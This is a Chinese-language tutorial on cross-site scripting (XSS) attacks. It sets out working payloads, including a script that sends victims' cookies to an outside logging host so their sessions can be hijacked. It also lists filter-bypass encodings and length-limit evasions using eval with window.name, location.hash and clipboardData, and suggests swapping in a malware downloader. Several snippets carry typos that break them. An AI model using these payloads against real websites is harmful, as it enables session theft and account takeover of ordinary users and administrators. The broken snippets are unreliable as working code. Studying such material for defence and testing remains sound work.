XSS跨站腳本攻擊初探
XSS跨站腳本攻擊的基本原理和SQL 注入攻擊類似(個人觀點),都是利用系統執行了未經過濾的危險代碼,不同點在于XSS是一種基于網頁腳本的注入方式,也就是將腳本攻擊載荷寫入網頁執行以達到對網頁客戶端訪問用戶攻擊的目的,屬于客戶端攻擊。而SQL注入攻擊將危險代碼繞過正常的文本輸入變為可執行的SQL執行語句從而操縱數據庫,從而進一步探測、操縱數據庫信息。屬于服務器攻擊?(菜鳥看法)。
XSS攻擊前奏(XSS bug 檢測)
1、最常見的最經典的XSS bug檢測語句必然是
<script>alert(/XSS/)</script> ①
比如在存在XSS bug的留言板上寫上留言①,當訪問留言板網頁時會彈出對話框:
這表明我們輸入的語句被原樣寫入的網頁并被瀏覽器執行了.那么我們就有機會執行我們的腳本攻擊載荷:
<script src = http://www.labsecurity.org/xssbug.js></script>
在我們的網絡空間上的xssbug.js代碼可以是
Var img = document.createElement(“img”);
Img.src = “http://www.labsecurity.org/log?”+escape(document.cookie);
document.body.appendChild(img);
如果我們如上代碼順利執行,那么被攻擊者在目標網站的登錄cookie就寫進了log.得到其cookie后,進行瀏覽器重新發包就可以以被攻擊者身份登錄目標網站.(被攻擊者可以是普通用戶也可以使網站超級管理員).
將竊取cookie的代碼換成下載者地址就可以將下載者下載到存在下載者攻擊漏洞的用戶電腦上.
也可以將代碼換成目標用戶在網站上的某些操作的 數據包腳本.促使在不知情的情況下”自愿”進行某些操作.
對于Cookie竊取的防御可以使IP綁定等方案了.
既然存在XSS攻擊那么程序員在開發時必然會進行某些危險關鍵字的過濾,以及限制用戶的輸入長度.這樣即使存在xss漏洞.Hack也只能檢測,卻不能夠寫入攻擊載荷(長度限制?。?/p>
2、利用IMG圖片標記屬性跨站
當然也可以像上面所說的在留言板中輸入
<img src=”javacript:alert(/XSS/)”></img>
這所說的不是這樣是在用戶上傳圖片時將圖片路徑修改為一段可執行的XSS測試腳本.
如果存在XSS漏洞那么此類腳本就會被執行.這類腳本要閉合雙引號”>”等.
利用DIV標簽屬性跨站
<div style=”width:0;height:0;background:url(javascript:document.body.onload = function(){alert(/XSS/);};”></div>
利用已知事件攻擊
移動特效字<marquee>文字</marquee>
<marquee onstart=”alert(/XSS/)”>文字</marquee>
B.<div style=”” onmouseenter=”alert(/XSS/)”>文字</div>
構造事件
<img style=”#” style=”TEST:e-xpression(alert(/XSS/));”>
常用的事件構造
<font style = “TEST:e-xpression(alert(/XSS/))”></font>
<li style = “TEST:e-xpression(alert(/XSS/))”></li>
<table style = “TEST:e-xpression(alert(/XSS/))”></table>
<a style = “TEST:e-xpression(alert(/XSS/))”></a>
<b style = “TEST:e-xpression(alert(/XSS/))”></b>
<ul style = “TEST:e-xpression(alert(/XSS/))”></ul>
<marque tyle = “TEST:e-xpression(alert(/XSS/))”></marquee>
3、突破程序員的過濾限制
利用javascript換行與空格突破過濾
<img src = j ava script:al er t(/XSS/)>///空格使用Tab鍵產生
<img src = j
ava script :a ler t(/xss/)>
利用注釋<img src = “#”/**/onerror = alert(/XSS/)>
轉代碼,繞過濾
使用大小寫轉換繞過過濾
使用進制編碼
空格回車符
JS 還原函數法
String.fromCharCode()可以將ASCII編碼還原成字符串,那么就可以eval(String.fromCharCode(97,108,101.....))
突破長度限制
注釋符閉合相鄰的輸入框達到合并的目的
<input id = 1 type = “text” value=””/>
<input id = 2 type = “text” value = “”/>
這樣我們可以在第一個框中輸入”>alert<!--
在第二個輸入框中輸入--><script>(/XSS/);</script>
這樣效果就是
<input id = 1 type = “text” value=”” <script>alert(/XSS/)</script>”/>
使用<base>標簽進行相對路徑劫持
<body>
<base href=”http://www.labsecurity.org”/>
<img src = “evil.js”>
<body>
當我們沒有使用base標簽時evil.js是調用的服務器根目錄下的evil.js腳本文件.當我們使用<base>腳本后.那么在此標簽后的所有相對路徑為我們設置的網站.
因此可以先使用<base>腳本劫持,然后再寫入<img src=”xxx.js”>突破長度限制.
4、使用window.name進行字符串傳遞
在我們自己的構造的頁面中寫入如下代碼
<script>
Window.name=”<script src=http://www.labsecurity.org/xss.js><script>”
Window.location=”http://www.xxxx.com/xxx.asp”
</script>
當我們跳轉到目標網頁時我們的window.name值為我們設置的跨站腳本語句.
因此我們可以使用eval(name)進行跨站攻擊.
利用上下文擴展長度
<div id="x">alert%28document.cookie%29%3B</div>
<limited_xss_point>eval(unescape(x.innerHTML));</limited_xss_point>
上文是不限制長度的安全數據,那么我們就可以在下文中使用此安全數據.進行XSS攻擊突破長度.
5.利用URL 中的數據
如果頁面里不存在上一節所說的可控HTML 上下文數據怎么辦?有些數據是我們無條件可控的,第一個想到的就是URL,通過在URL 的尾部參數構造要執行的代碼,然后在XSS點通過
document.URL/location.href 等方式獲得代碼數據執行,這里假設代碼從第80 個字符開始到
最后:
- http://www.xssedsite.com/xssed.php?x=1....&alert(document.cookie)
- <limited_xss_point>eval(document.URL.substr(80));</limited_xss_point>
長度:30
- <limited_xss_point>eval(location.href.substr(80));</limited_xss_point>
長度:31
上面兩個例子對比,前一個例子更短,那么有沒有辦法更短呢?通過查閱Javascript 手冊
的String 的方法可以發現,切割字符串有一個更短的函數slice,5 個字符比substr 還要短一個字符:
<limited_xss_point>eval(document.URL.slice(80));</limited_xss_point>
長度:29
<limited_xss_point>eval(location.href.slice(80));</limited_xss_point>
長度:30
那么還有沒有辦法更短呢?答案是YES,查閱一下MSND 里的location 對象的參考你會發現有個hash 成員,獲取#之后的數據,那么我們可以把要執行的代碼放在#后面,然后通過hash獲得代碼執行,由于獲得的數據是#開頭的,所以只需要slice 一個字符就可以拿到代碼:
- http://www.xssedsite.com/xssed.php?x=1....#alert(document.cookie)
- <limited_xss_point>eval(location.hash.slice(1));</limited_xss_point>
長度:29
這樣比上面的例子又少了一個字符。那么還可以更短么?
6.剪切板clipboardData
攻擊者在自己域的頁面上通過clipboardData 把Payload 寫入剪切板,然后在被XSS 頁面獲取并執行該數據。攻擊者構造的頁面:
- <script>
- clipboardData.setData("text", "alert(document.cookie)");
- </script>
被XSS 的頁面:
<limited_xss_point>eval(clipboardData.getData("text"));</limited_xss_point>
長度:36
這種方式只適用于IE 系列,并且在IE 7 及以上版本的瀏覽器會有安全提示。